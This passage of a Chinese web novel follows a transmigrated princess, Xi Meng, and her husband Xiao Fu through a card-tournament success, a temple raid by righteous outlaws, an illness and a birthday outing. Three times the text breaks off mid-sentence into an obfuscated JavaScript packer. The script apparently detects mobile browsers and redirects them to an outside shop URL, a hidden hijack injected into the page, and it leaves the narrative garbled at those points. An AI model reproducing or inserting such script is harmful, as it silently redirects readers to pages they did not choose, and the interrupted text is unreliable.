萧复不想看她失落的模样,“要不这样,咱们举办一场‘广源斗牌大赛’,推广下正宗的妙花玩法,尽量引导大家用于正途娱乐。” “这主意挺好,就按你说的办吧。”郗萌心知,赌这东西古往今来都禁不住,只能尽人事听天命了,做总比不做强。 巡完各处,萧复便找沈焕商议,积极筹备首届“广源斗牌大赛”…… 大赛分为“雅士组”、“闲趣组”和“巾帼组”,雅士组在雅源茶社等高档场所比赛,讲究风度仪态;闲趣组在广源书局前的空地上摆桌,主打亲民热闹;巾帼组则专为女眷开设,选在一处清幽别院进行。比赛报名就足足持续了三日,而后分组、选址、彩头等事更忙的不可开交…… 比赛当日,盛况空前。 雅士组那边,文人墨客们品茗斗牌,谈笑风生,不时有佳句传出;闲趣组这边,加油声、喝彩声、惋惜声此起彼伏,气氛热烈;巾帼组则珠环翠绕,女子们巧笑嫣然,于方寸牌局间展现女子独有聪慧细腻。 三组比赛比了五日,才决出状元、榜眼、探花,整个过程也将妙花牌的趣味性和竞技性展现得淋漓尽致,大大提升了其正面形象,连原本有些微词的老学究,见如此盛况,也不再多说什么了。 斗牌大赛圆满落幕,妙花牌的声望达到了顶峰,妙花生意也更推向了更高,其他州县的人们都玩了起来。 当晚,萧复将一沓厚厚的银票放到郗萌的梳妆台上,脸上是掩不住的笑意,“来,这是你这个月的分红,看看吧。” 郗萌拿起来数了数,竟是一万两白银的银票。她虽知妙花牌生意火爆,却也没想到一次分红如此之多,一时有些被钱财镇住。 “啊?嫌少啊?”萧复挑眉。 郗萌摇摇头,将银票推回去些,“太多了。我不过是动了动嘴皮子,这些时日真正操劳的是你和沈掌柜他们。而且,这本金、人脉都是你的,我拿这么多,于心不忍呐。” 萧复见她如此贤良淑德,执意将银票塞回她手中,目光灼灼地看着她,“没有你‘动动嘴皮子’,就没有这‘天下第一牌’。你当得起。我说过,最好的都想给你。”他顿了顿,声音低沉而温柔,“这分红不算什么,聊表心意罢了。以后咱们再接再厉,赚更多的钱,游千山玩万水吃四方,多好。” “好。” 郗萌握着那叠沉甸甸的银票,感受着他话语中的分量,抬眸对上他深邃的眼眸,那里面清晰地映着她的身影,以及一种她越来越无法忽视的情愫。 窗外,晚风拂过那串五彩的风铃,发出清脆空灵的声响,仿佛在应和着此刻她心中怦然的悸动…… 14. 游山 一万两银票在手,郗萌还是觉得这些纸张烫得人心发慌。 她一个穿越而来的现代灵魂,在这王府里衣食无忧,平日里也不爱买古玩、珍宝,实在想不出有什么地方需要用如此巨款。 思索片刻,她将银票往萧复面前一推,“这么多钱,我平时也用不到。不如,我们拿它建座善堂吧?收留些无人照料的孤儿、老人,再请人教孩子们识字学艺,照顾老人们安度晚年。这也算是取之于民,用之于民了。” 萧复闻言,深以为意的点点头,随即唇角弯起一个真心的弧度,从银票中随意抽了几张,“你真是心善。但建善堂也用不了这许多,这些足够了。其余的钱你自己留着,想买什么玩什么,尽管花用。善堂的事我来张罗,若不够,再管你要。” 他答应得爽快,郗萌忍不住多叮嘱一句,“好,但你务必找可靠的人经办,银钱往来要清晰,章程要明确,可别让人中饱私囊,辜负了这份心意。” “放心吧”,萧复将银票收好,语气带鲜有的沉稳,“我晓得轻重。” …… 妙花牌的生意如火如荼,算是步入正轨,无需郗萌再多操心。她又回到了穿越之初的清闲日子,但上天似乎见不得她闲在安逸。 这日,晓福拿着封京城来的信,面色有些凝重地呈给郗萌。 “公主,京里来的消息。说言婉薇小姐,不日将抵达府中,要暂住些许时日。” 郗萌心头莫名一跳,疑道,“她怎么突然要来?” 晓福低声回道:“信上说,太子殿下欲立言小姐为太子妃,遭满朝文武反对。言小姐身份特殊,留在京城恐生事端,太子便让她回来避避风头。” 郗萌展开信笺,目光扫过那些文言字句,脑中却不自觉地浮现出原书的情节。太子郗宸与言婉薇,一个是胸怀大志的储君,一个是外柔内刚的亡国郡主,初见之时郗宸倾慕言婉薇的品貌才情,后相处两人因相似的政见抱负相投彼此吸引,皆鄙夷奸佞当道,都立志廓清寰宇,想为百姓开创一个安居乐业的盛世。当然这份情谊,在原书里没少被原主那个“恶毒女配”从中作梗,好姻缘总是难全,但一次次考验中,他们始终彼此信任共渡难关,着实令人艳羡。 更重要的是,原文中言婉薇是萧复的表妹,亦是萧复的白月光。他们青梅竹马,曾一同度过齐国覆灭后那段最惶惶不安的岁月,是真正共过患难的。她这一回来,自己又该如何与萧复继续相处?唉,原主恶毒女配做的孽如今似乎要反噬到他身上了…… 郗萌越想越烦躁,索性将信纸一丢,强迫自己不再去想,该吃吃该喝喝。她心想所谓“兵来将挡,水来土掩”,属于自己的跑不了。可转念又一想,不对,萧复又不是我的,我们只是生意搭子,合作伙伴罢了。 她自顾自地劝解着自己,试图压下心头那点小小别扭。 当然这些情绪她不想让别人知道,尤其是萧复…… 几日匆匆而过,言婉薇的车驾抵达萧府。她依旧是一身素雅衣裙,容颜清丽绝俗,眉宇间却笼着一层淡淡的轻愁,当真我见犹怜,甚似林妹妹初入贾府的模样,不愧是原书中的万人迷女主。 而更让人意外的是,端王郗宥竟也一同前来。他只说是奉旨巡查周边州县,恰好在定城附近,听闻言小姐回府,便顺路做了一程护花使者。 郗萌听完才不信,猜测郗宥就是以公谋私,借着公事暗中保护言婉薇回萧家,想借机上位。她回忆这位被读者戏称“柚子哥”的男人,原书里的温润男二,但可惜是表面宽容仁厚,温润如水,如沐春风,实则就是个“白切黑”,内心扭曲的病娇。因为他虽为庶长子,却因母亲出身卑贱,从小处处不被重视,还受尽白眼,性格在压抑中扭曲,嫉恨被众星捧月的郗宸,这经历也确实值得人同情。在京城之时,因言婉薇的平等相待、善解人意,对她心生好感,可襄王有心神女无梦…… 郗萌也懒得和与言婉薇、郗宥过多交际,随口寒暄了几句,匆匆共进完午膳便独自返回小院,不想和不熟的人浪费情绪价值。 萧复倒是对言婉薇的到来很是热情,他亲自安排院落,挑选仆役,嘘寒问暖,可谓几乎无微不至。言婉薇因立妃之事心情郁郁,萧复便想方设法逗她开心,送给她许多新奇玩意儿,带她去新开的酒楼欢宴,讲述分开这些年遇到的市井趣闻,俨然成了她受伤后最温暖的疗伤港湾。 当然,萧复陪言婉薇游玩时,郗宥全程在场,彻底把兄妹情深变成了宾主之欢。 郗萌听晓福说起这些事,有点可惜没看到那修罗场的情形。 但几日相比之下,郗萌确实感觉被萧复无形中冷落了些。用膳时,萧复的目光总是随着言婉薇流转,关切她是否习惯饭菜口味;闲谈时,也多是顺着她的话题。郗萌坐在一旁,看着萧复对言婉薇那般小心翼翼、百般呵护的模样,心里不禁有些不是滋味,面上却还强装大度,时刻维持着公主的仪态。 她忍不住在心里吐槽,原书里萧复这设定,说难听点,不就是个备胎吗?还是二号备胎!那位温润如玉的端王郗宥才是一号。虽然言婉薇本人并无养备胎的心思,但读者看来便是如此。孰轻孰重,一目了然。 她不断自我安慰,他们二人不过是表面夫妻,实则毫无感情基础,谁也不是谁的谁,自己干嘛要在意?没劲儿透了…… 这晚,萧复安置好言婉薇,回到房中时,郗萌早已面朝里躺下,闭眼假寐不理睬他。 萧复放轻动作,慢慢的躺到榻上,而他听郗萌的呼吸声,知道她没睡着。 黑暗中静默了片刻,萧复忽然低声开口,“一声不吭很少见啊。怎么,生气了?” “没。”郗萌没好气地回了一个字,声音闷闷的。 萧复无奈轻笑一声,坦诚道,“我和婉儿……没什么的,只是念在少时情谊。对她好已经成了我的潜移默化,一时没能改过来。抱歉,忽略了你的感受。她近来心情不好,这里怎么说,也曾是她的家,我现在就是尽尽地主之谊罢了。” “干嘛同我解释?”郗萌躺着不动,语气硬邦邦的。但从话语间听出了点“内外有别”之意,言婉薇如今是客人,他是忙活招呼客人忽视了家人。可即便如此,仍未能消解她心中的怨气。 “因为你是我的妻子。”萧复的声音在夜色里显得格外清晰。 “哦……”郗萌心里那点莫名的郁闷更深了,原来只是因为这层身份,她忍不住刺他一句,“你不是喜欢她吗?” 萧复并不意外她会知道这件事,他也知道以前她视言婉薇为敌,把这些事情调查清楚也不足为奇。 他语气平静而坦然道:“曾经我是心仪于她。但在她入东宫那一刻,那份心思便已随风飘散,再无可能了。” “嘁,说得好听,还不是贼心不死。”郗萌语带嘲讽,“如果没有太子横插一杠子,你肯定还念着人家呢。如今大臣们反对太子立她为妃,说不定哪天她真能回来,与你再续前缘呢?”她知道自己没什么立场嫉妒,那是人家的白月光,可话到嘴边,就是控制不住那股吃味。 萧复沉默一瞬,声音低沉了几分,“你说的似乎有道理,可这世上没有如果。更重要的是,人家心里从未有过我,只视我为兄长。如今她满心满眼都是那位太子。即便将来他们真有缘无分,以婉儿的性子,也绝不会退而求其次选择我。我又何必自毁尊严,委曲求全?” 郗萌听到“退而求其次”几个字,心里莫名一松,脱口而出,“我懂了,你这是悟了,不在一个歪脖树上吊死,不当舔狗了。”语气里带着自己都没察觉的欣喜。 萧复虽不懂“舔狗”何意,但料想不是好词,只能扶额叹了口气,“睡吧……” 一夜再无话…… 晓福见郗萌连日来心情不佳,便提议出门散散心,说城外首阳山里的白云寺历史悠久,环境清幽,值得游玩一番。 郗萌本只想独自静静,转念一想,索性做足面子功夫,让萧复邀上言婉薇,连同那位“顺路”的郗宥一同前往白云寺。 马车行在山路上,郗萌想起了原书情节。昔日在京城,原主郗宝就曾因嫉妒,趁言婉薇独自烧香礼佛时,派人假扮匪徒意图不轨,险些毁了她的清白。思及此,郗萌也不禁为言婉薇感到愤慨,那般下作手段,实在令人不齿。 坐着马车行了一个多时辰,到达首阳山脚下,众人与随从经山道去往白云寺。山路整洁宽阔,两旁花草都形态齐整,明显是精心维护过的。 郗萌远眺群山,初秋独有的黄绿叶子层次分染,广阔天地让她心情也开阔不少。 行至白云寺,只见香火鼎盛,古木参天。一行人焚香拜佛毕,正欲在寺中漫步赏景,忽听寺外传来一阵嘈杂喧哗,伴随着几声凶恶的呼喝! “都不许动!爷爷们是首阳寨的好汉,求财不求命,都乖乖听话!” 只见数十个手持钢刀、衣衫杂乱的彪形大汉冲入寺中,他们每人袖上都藏着一条红布。为首一人,身材高大健硕,肤色是常年风吹日晒的小麦色,五官轮廓分明,眉眼间带着一股野性的不羁,虽作土匪打扮,却难掩那股勃勃英气。 要是在平日,郗萌还有心情瞅瞅这阳光帅气的“体育生”,可现在明显是碰到了土匪抢劫,什么闲情逸致都没有了,想跑还被人家围得水泄不通,无处遁逃。 徐决等四五个护卫将他们护在身后,但因人数悬殊,一时不敢轻举妄动,只能见机行事。 萧复低声安慰众人,“首阳寨素有侠名,多是劫富济贫,没听说过乱杀好人。咱们装的低眉顺眼些,别让他们注意到咱们。”他转头又对徐决道,“待会儿若生变故,你们尽力护着公主、婉儿出去……” 还未说完,众人就被赶着往别处走。 土匪们动作迅速,将寺内所有香客、僧侣统统驱赶到大雄宝殿前的广场上。 土匪命和尚搬来一张太师椅,林澄霁大马金刀得往上一座,开口洪亮道,“我是首阳寨的大当家林澄霁,想必大家多多少少都听说过我们首阳寨的威名。老老实实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“放什么狗屁!”萧复不等郗萌反应,挡在她身前。他脸色铁青,怒视郗宥低沉道,“世人皆赞你满腹诗书、温润无双,今日竟能说出这等话!圣贤书都读到狗肚子里去了?!枉为男子,连……连那些知情识义的青楼姑娘都不如!” 他骂得疾言厉色,转而看向不远处明晃晃的钢刀,深吸一口气,决定好汉不吃眼前亏,放软了姿态,向前几步对林澄霁拱手道,“林寨主,在下萧复,一介书生就不在诸位好汉面前逞英雄了。只希望我可以换她,我来跟你走。还有,您说个数,钱财自会命人奉上,不会少一分一毫。而且,我素闻首阳寨有杀富济贫的侠名,想必义薄云天,不屑于那些偷鸡摸狗之事。” 林澄霁心想自己也没说要强抢民女,他们怎么都料定自己要掳走那姑娘。他顿时玩心大起,抱着胳膊,上下打量了萧复几眼,轻哼一声,“我又没怪癖,要你个大男人干嘛?”他目光再次转向郗萌,故意粗声粗气道,“小娘子,我好像对你一见钟情了。可愿跟我回山寨去?保管你吃香喝辣,逍遥快活!” 郗萌心里狂翻白眼,默默吐槽,“一见钟情个屁呀!还不是见色起意,因为一张脸!” 萧复闻言紧紧握住郗萌的手,斩钉截铁道,“她是我的妻子,我绝不会让她随你走。否则,宁为玉碎,不为瓦全!”他这话说得决绝,同时也是看准了首阳寨素来的侠名,故意出言相激。 林澄霁盯着他们紧握的手,又看看萧复那副护崽般的模样,忽然哈哈大笑起来,那股凶恶气势瞬间消散,取而代之的是一种爽朗,“行了行了,瞧把你急的!我们首阳寨有规矩,从不霸占良家妇女!老子是真心觉得你这小媳妇合眼缘,但强扭的瓜不甜,这个道理我懂。”他确实喜欢郗萌这款女人,却也磊落,刚刚不过是逗她,他才不屑于干强人所难的事,便不再纠缠。 他收敛笑容,正色对众人道,“今日我们来此,并非要劫掠香客,是这白云寺,藏污纳垢!那住持与城中权贵勾结,假借礼佛之名,强抢贫苦人家的少女,剃了头发假扮沙弥,囚禁于密室,供那些禽兽亵玩!老子今日,是来替天行道的!” 郗萌听得心头一震,这不就是古代的“萝莉岛”吗?她依稀记得历史上似乎也有类似“泰山姑子”的典故,竟是这般丑恶。 林澄霁不再多言,挥手命手下弟兄行动。不过片刻,后寺便传来打斗与惨叫声。不久,土匪们押着被捆成粽子的住持和数个面露凶光的和尚过来。另有土匪则从一处隐蔽的禅院里,解救出十多个面容憔悴、眼神惊恐的无发少女。 林澄霁当着所有香客的面,历数了住持等人的罪状,更让受害少女们当场指认加害者。言罢,手起刀落,毫不拖泥带水结果了那些罪大恶极之徒的性命。随即命人打开了主持供出的寺中藏宝库,将里面搜刮来的金银财物尽数搬空。 “这些不义之财,爷爷我带走了,拿去救济穷苦百姓!尔等日后拜佛,也擦亮点眼睛!” 林澄霁说罢,大手一挥,带着手下弟兄和被解救的少女驰马离开,如来时一般迅速,消失在苍翠的山林之中。 只留下满寺惊魂未定的香客,以及地上那数具断头尸首,无声地诉说着方才的惊心动魄。 郗萌望着那群土匪消失的方向,心中五味杂陈,再看身旁依旧紧握着她手的萧复,一种难以言喻的感觉悄然蔓延。 虽然萧复不是驾着七彩祥云来救她的大英雄,但面对钢刀的仗义执言,在她心中也无人能比。 萧复感觉到被注视的目光,转头看向郗萌,他的眼神不再似往日那般玩世不恭,而是坚定无比。 二人相视一笑,莫逆于心…… 15. 月夜 经了首阳寨这一番折腾,众人皆是心有余悸,哪还有游山玩水的兴致,当即决定打道回府。 下山路上,郗宥面带愧色,对郗萌和萧复道,“刚才情急之下,言语冒失还望宝妹、世子见谅。待回城后,本王即刻督促太守发兵,定要剿灭这伙无法无天的匪寇。” 郗萌见他这副虚伪的模样,也懒得与他计较,轻轻颔首,淡淡回了个,“嗯。”实际,她还挺赞同林澄霁惩恶扬善的做法。 萧复亦只是客气地拱了拱手:“您客气了,那就有劳殿下费心了。” 言罢,萧复牵着郗萌的手继续下山,不时的叮嘱她小心路上突兀的石头,怕她不慎滑倒。 郗宥见状也不再自讨没趣,跟着默默地往山下走。 言婉薇静静地跟在最后,看着前方携手同行的两人。她回府这些时日,就听下人们说表哥与翌阳公主相处融洽,她原本还有几分怀疑,而今亲眼见着萧复为护郗萌不惜自身,以及此刻自然流露的亲昵,方知所言不虚。而且此次回来,翌阳公主虽对她不咸不淡、疏离漠然,却远没有从前那般刻骨的恶意。她……似乎真的变了一个人。只是,过往种种伤害太过深刻,言婉薇心中仍存着几分挥之不去的芥蒂。 待众人回到萧府,天已擦黑。郗宥径直去了太守府。萧复则因生意上的应酬,被久候的合作商贾请去流芳楼饮宴…… 晚膳时分,萧渊因心痹之症需静养,向来独自在房中用膳。偌大的膳厅内,梨花木圆桌旁只坐了郗萌与言婉薇二人,气氛不免有些微妙的凝滞。 烛火摇曳,映着两张姣好的面容。 郗萌能明显地感受到对方那份不动声色的提防。她明白世上没那么多圣母,谁会轻易原谅一个曾深深伤害过自己的人?既然她享受了“郗宝”这个身份带来的荣光与待遇,自然也得承受她留下的恶果与嫌隙。她也不知如何化解以往仇怨,只得安静地吃饭。 最终还是言婉薇先打破了沉默,她放下银箸,目光平静地看向郗萌,“你,和以前确实不一样了。” 郗萌听言婉薇说得直白坦荡,抬眸对上了她的视线,语气同样平淡,“大病了一场,忘却了许多前尘往事。人不能总活在过去,活在当下最重要。” 言婉薇默然片刻,虽不解其中深意,但也感受的到对方的坦诚,由衷道,“但愿你真心待表哥。” 这话里的意味复杂,有关切,有提醒,隐隐还有一丝不易察觉的警告。郗萌胡乱的“嗯”了一声,没有再和言婉薇解释。她现在和萧复究竟是什么关系,连她自己都说不清道不明。而且有些承诺,无需宣之于口,日久自见人心…… 是夜,或许是日间受了惊吓,亦或是吹了山风,郗萌半夜竟发起了高烧。 萧复闻讯带着一身微醺的酒气匆匆赶回,正巧碰到晓禄请来了郎中,一同赶到卧房。 一进屋,见晓福在床边焦急的侍候着,刚换下一片冷帕。 而郗萌已是浑身滚烫,意识模糊,口中不断呢喃着含糊的呓语。 “回家……我想回家……” “妈……爸……我好想你们……” 郗萌说着眼角还流下一行清泪。 萧复见状,几步便跨到床前,伸手拭去她眼角的泪水,又探了探她滚烫的额头,眉头皱的更深,酒意瞬间醒了大半,赶紧唤郎中上前诊治。 郎中为郗萌把脉,又看了看面容、舌苔,表示她是风寒入体,并无大碍。当即开了退热安神的方子,叮嘱了煎煮服用的事宜。 郎中收完诊金,便返回药铺抓药,未多时便派人送药上府。 待药煎好,萧复小心地将郗萌半扶起来,让她靠在自己怀里,主动接过晓福手中的药碗,亲自将药汤一勺一勺盛起,耐心地吹温了,温柔送到她的嘴里。 郗萌在混沌中,只觉得有一个温暖可靠的怀抱包围着自己,驱散了病中的孤冷与无助。那焦急担忧的目光,即使在她闭着眼时,似乎都能深切地感受到…… 喂完药,晓福本想让萧复去休息,她继续守夜照顾郗萌。 萧复却挥退了所有仆人,亲自守在郗萌的床边。他用浸了冷水的帕子一遍遍为她擦拭额头、脖颈,动作笨拙却异常轻柔。 后半夜,郗萌高热的体温终于渐渐退去,呼吸也逐渐平稳。 而萧复就这么衣不解带得在床边守了一夜,直到天际泛白,确认郗萌睡踏实了,体温没那么高了,他才靠在床柱上小憩了片刻…… 郗萌清晨醒来,便看到倚靠床柱休息的萧复,他眼下带着淡淡的青影,下颌也冒出了些许胡茬。 她顿时明白了一切,起身想帮萧复盖上点毯子,对方却猛地惊醒。 “你醒了?不好意思,刚睡过去了。”萧复一副疲惫却强打精神的模样。 “我好多了,辛苦你了。”郗萌望着那张疲倦的俊脸,心头最柔软的地方仿佛被轻轻捏了一下,感动的情绪如春水汩汩涌出,瞬间盈满了心间。 “没什么,我以前和别人玩牌九也经常通宵。你没事,我……我们就放心了。”萧复憨憨笑道。 郗萌从他不靠谱的类比中,知道他昨晚确实悉心照顾了自己一夜,关心道,“你也去休息会儿吧,别也病了。” “那好,我去书房眯会,有事叫我。”萧复说着打了个大大的哈欠。 “那么多人在,没事。快去吧。”郗萌笑着催他去补觉。 不知不觉中,二人相处的越来越自然随性…… 数日后,一个让众人意想不到的人来到了定城。 夜色中,一辆看似普通的马车停在了萧府门外。车帘掀开,一男子缓步而下。月华如水,倾洒在他身上,勾勒出他挺拔修长的身形。来人面容俊美绝伦,剑眉星目,鼻梁高挺,薄唇微抿,周身散发着一种与生俱来的尊贵与疏离,仿佛九天寒月,令人不敢直视。那正是当朝太子——郗宸。 郗萌与萧复几人出门接驾,她乍见这般绝世美男,眼睛不由得亮了一下,但纯粹是对美好事物的欣赏,内心暗道,这颜值,这身材,这气场,全都没挑,不愧原著中“全书最帅”的称号,这专情霸总人设确实顶! 萧复瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当晚的“夜谈会”,郗萌靠在床头,忍不住回想刚才的修罗场,不禁八卦地笑了,感叹道,“哎,不得不说,太子那种专注深情又霸气的劲儿,确实挺有魅力的。” 萧复正铺着榻上的被褥,闻言动作一滞,头也没回,闷闷道,“你还有点发烧呢,别胡思乱想了,赶紧睡觉吧。” 郗萌听出他话里的别扭,“噗嗤”笑出了声,“你想到哪儿去了?我现在对他可没半点想法了,只是单纯觉得好看养养眼,和你以前看见美女走不动道儿一样。” “哦”,萧复这才回头,语气缓和了不少,“我现在看见美女能走动,都没什么感觉了……” “那你看谁有感觉?”郗萌随口问出,但顿时觉得唐突了。 “你说呢?”萧复邪魅一笑,没再说话。 郗萌轻咳一声,赶紧躺下,“太晚了,睡觉睡觉吧。多睡觉,身体好哈。” 萧复没继续追问,嘴角噙着笑意也就寝了…… 16. 重阳 时光荏苒,窗外的蝉鸣渐歇,庭院里几株枫树的梢头,悄悄染上了一抹晕红…… 转眼,时间快到九月初九,那是萧复二十三岁的生辰,郗萌暗自琢磨该送他什么生日礼物。她自己过生日时,萧复是那般郑重其事,件件都是珍稀厚礼,如今她鸭梨山大呐。金银珠玉、古玩奇珍,想来他见得多了,只怕寻常之物入不了他的眼。 郗萌托着腮,看着窗外发呆,目光无意瞥到窗边的风铃,还有院中那棵小小的“祈愿树”,忽然心头一动。 她想起萧复爱扇成癖,还挺喜欢自己做的五彩风铃。真诚什么时候都是必杀技,或许一份亲手做的一份独一无二的礼物,能比任何昂贵的物件更显心意。她大学那会儿正喜欢看动漫,也为了凑学分,就选学了一学期素描基础,虽不精通,但画个大概形貌还可以。 心中有了主意,她便立刻行动起来,让晓福悄悄寻来上好的素白宣纸扇面,又找来一截质地细腻的柳炭条。 万事俱备,她摒退左右,将自己关在房里,准备“挥毫泼墨”大展拳脚。 画什么呢? 郗萌思索着,脑海自动浮现游首阳山的情形。那段旅途虽有波折,但结果还算愉快。想着想着,她便凭着记忆,在纸上细细勾勒起来。 一幅首阳山景徐徐展开,远山如黛,层峦叠嶂,素描特色的明暗技法,显得景色别有一番韵味。 秋意初染,林间的色彩她无法用炭笔表现,便以疏密不同的线条来表示叶子的浓淡。蜿蜒的山路上,她小心地画出两个依偎前行、依稀可辨的细小身影,虽面目模糊,但那携手同行的姿态清晰可见。 扇面看上去画技确实稚拙,甚至有些地方因为反复修改而略显脏污,但每一笔都透着无比的真诚。 大功告成后,她在左上角空白处,用炭笔写下了一竖行工整的小字,“祝你生辰快乐”。落款时,她犹豫了一下,没有署名,而是画了一个俏皮可爱的圆圆笑脸。 郗萌望着完成的画作,不禁脸上有些发热,这水平,放在现代也就是小学生手工作业的档次,也不知他会不会嫌弃。 装裱的活儿她可不会干,她又劳烦晓福拿着扇面,找定城最好的装裱师傅将扇面裱到扇骨上。临走还给了她张百两银票,直言少了再要,多了就让她收着。第一次有种“挥金如土”的感觉,勤俭节约的美德让她倍感奢侈…… 晓福办事素来稳妥利落,翌日傍晚就将裱好的折扇拿回,还配上了精美的锦盒。 郗萌独自看着这把一把独一无二的炭笔画折扇,当真是人靠衣服马靠鞍,三分画七分裱,这一装裱好,瞬间高端大气上次。她笑着将折扇放回锦盒,藏在了枕头里侧的被子下,幻想萧复收到的模样…… 九月初九当日,天公作美,秋高气爽,湛蓝的天空上飘着几缕薄云,正是登高赏秋的好时节。 九月九亦是重阳,有敬老的传统。用早膳时,郗萌提议,“今天天气挺好,咱们去郊外踏青吧?也叫上王爷,算尽尽咱们小辈的孝心。还有,顺便给你庆生。” 萧复闻言,眼中立刻漾开笑意,显然对此安排十分满意,“好啊,都听你的。我这就问问爹去。” 郗萌点头,她是希望萧父能一同前往的,老人家整日闷在府中多无聊,出去散散心也好。 然而,萧复很快便回来了,略带遗憾地摇摇头,无奈道,“我爹说,郎中说他心痹之症有些反复,不宜劳累,还得静养,让咱们去玩儿便是。” 郗萌表示理解,于是带着晓福收拾出行所需之物。 未多时,一行人乘着马车,带着食盒、毡布、酒水等物,往城郊一处风景秀美的山丘而去。 那山丘并不高耸,坡势平缓,适于踏青游玩,他们到达时已有零零散散的游客遍布各处。 此时远处枫叶初红,红黄交叠,层次分明,与常绿的松柏交织在一起,伴着秋日和煦的阳光,美得温暖入心。 他们寻了一处视野极佳的开阔之地,脚下的落叶如同铺就了一层彩色地毯。徐决和晓福等人手脚麻利地铺开毡布,将食盒中的各色精巧糕点、时令鲜果以及一壶温好的菊花酒一一摆好。郗萌不想他们呆立一旁的伺候,让他们也坐着赏景。 秋风送爽,带着山野间草木的清香和果实的甜香,沁人心脾。 郗萌站起身深吸一口气,又重重呼出。只觉连日来因言婉薇到来、生病发烧而积压那些沉郁情绪,都释放在这广阔的天地之间了。见满地落叶,她玩心四起,稍稍提起裙摆,轻轻地踩在片片落叶上,不时发出“沙沙”的声响,脸上流露出纯粹的欢欣笑容。 而萧复慵懒地倚在毡布上的靠枕上,默默地凝望着她雀跃的身影。阳光倾洒,为郗萌蒙上一层柔和的光晕,她那明媚的笑颜,似乎比这满山秋色还要动人。他看着看着,嘴角扬起一抹温柔的笑意,只觉心中被一种前所未有的宁静与温暖填满,分外满足…… 郗萌与萧复静静得在山间并肩漫步,踏着松软的落叶,沿着山路缓缓而行。走到至高处,极目远眺,远处定河如一条碧绿的玉带,蜿蜒穿过色彩斑斓的原野…… 欣赏完初秋的美景,已时至晌午,二人返回初来之地。 晓福将形似玲珑宝塔的九层菊糕轻轻分切,恭谨地端给郗萌一块,“公主,这是林嫂新做的九层菊糕,您尝尝。” 只见层层薄如蝉翼的糯米糕片堆叠,层间是栗泥、枣泥、菊花碎、赤豆沙、桂花糖等九种馅料交错,由浅至深晕出九重秋色。 郗萌用勺子小心地将糕点送入嘴中,口感异常丰富,糯米的弹牙,栗泥的甘醇,豆沙的绵密,枣泥的浓甜,还夹杂着松仁的酥脆,咽下后唇齿间似乎还留下若有似无的菊花幽香。 “真好吃”,郗萌感叹完,伸手唤萧复,“你也来尝尝。” 萧复接过下人递来的菊糕,细细品味了数口,点头赞道,“甜而不腻,弹滑可口,确实不错。”说着,他亲自倒了两杯菊花酒,递给郗萌一杯,“秋日饮菊酒,祛灾又延寿,你也喝一杯吧。” 郗萌轻嗅,一股带着菊花香气的酒香扑鼻。她慢慢啜饮,淡淡的甜味蔓延舌尖,后味略微辣些,但酒水流入胃中,让她身子都暖了起来。 两人就这样看着美景,吃着美食,喝着美酒,偶尔说些闲话,时光仿佛都慢了下来…… 置身壮丽的自然美景之中,郗萌更觉自己的画作拙劣,迟迟不敢拿出手。但酒壮怂人胆,多喝了几杯菊花酒,郗萌脑子有些昏昏涨涨,一时勇气上涌,让晓福把装折扇的锦盒拿来。 她将锦盒递到萧复面前,脸颊微红,不知是醉酒还是羞赧,“祝你生日快乐!这是我给你的生日礼物,肯定是比不上你给我的那些奇珍异宝,但好歹也是我亲手画的。礼轻情意重,请笑纳。” 萧复饶有兴趣地接了过来,迫不及待的打开锦盒,只见柔软的绒布之上躺着一把折扇。扇骨是紫檀木的,入手沉甸甸,光滑有质感,两端雕着梅菊,颇具文人风雅。 当他缓缓展开扇面,整个人都愣住了。他从未见过如此扇面,用炭笔描绘的山景,不同于水墨的写意,带着一种独特的、朴拙的写实感。 再看画中那山,那路,尤其是路上那两个小小的、携手并肩的身影……他一眼就认出,这画的是首阳山,画的是他们。最后,他的目光紧紧锁在那行小字和那个可爱的笑脸上。指尖轻轻拂过炭笔的痕迹,仿佛能感受到作画人当时的专注与心意。 他沉默片刻,让激动的心情稍缓,抬眸问道,“你画的?” 郗萌见他没有嫌弃,重舒了一口气,自豪道,“当然啦,刚我不是说了嘛。”随后她不好意思的捋捋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949954|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发丝,坦诚道,“我知道我这两笔肯定比不上你那些名家珍藏,但也是份心意。夏天扇扇风也好用,免得你那些珍品磕着碰着,让人心疼。” 萧复被她的实诚逗笑,“我才不拿它扇风,磕着它我才心疼呢。”说着小心翼翼地合拢折扇,紧紧攥在手中,像是怕碰坏了一般。 “你不是嫌它丑,怕丢人吧?”郗萌故意打趣道。 “这怎么可能?”萧复也玩笑道,“要不回去我把它挂在客堂中墙,谁来了都得瞻仰一番你的大作。” 郗萌白了他一眼,这哪是瞻仰,明明是公开处刑,但她也明白萧复还算中意自己送的礼物。 “谢谢,我很喜欢。”萧复郑重道,带着不容错辨的诚挚,只是让人不知是喜欢扇子,还是眼前之人,“这是我这个生辰收到的最好的生辰礼。” 没有华丽的辞藻,只是最简单直接的肯定,却让郗萌悬着的心彻底落了下来,她心里好像有只欢乐的小鸟快从喉咙里飞出。 萧复珍而重之地将折扇重新放入锦盒,让徐决收好。 而后,萧复兴致格外高昂,又敬了郗萌几杯。二人推杯换盏,插科打诨,不多时便都有些醉了。 郗萌先迷迷糊糊的醉卧毡布,萧复见状吩咐下人准备回去,他亲自将郗萌背了起来。 其实,郗萌没有完全失去意识,只是醉的闭上了眼睛,懒得再想事说话。她任由萧复将自己背起,手臂环住他的脖颈。走路时,她能感受到他肌肉的轻微起伏和透过衣衫传来的体温。 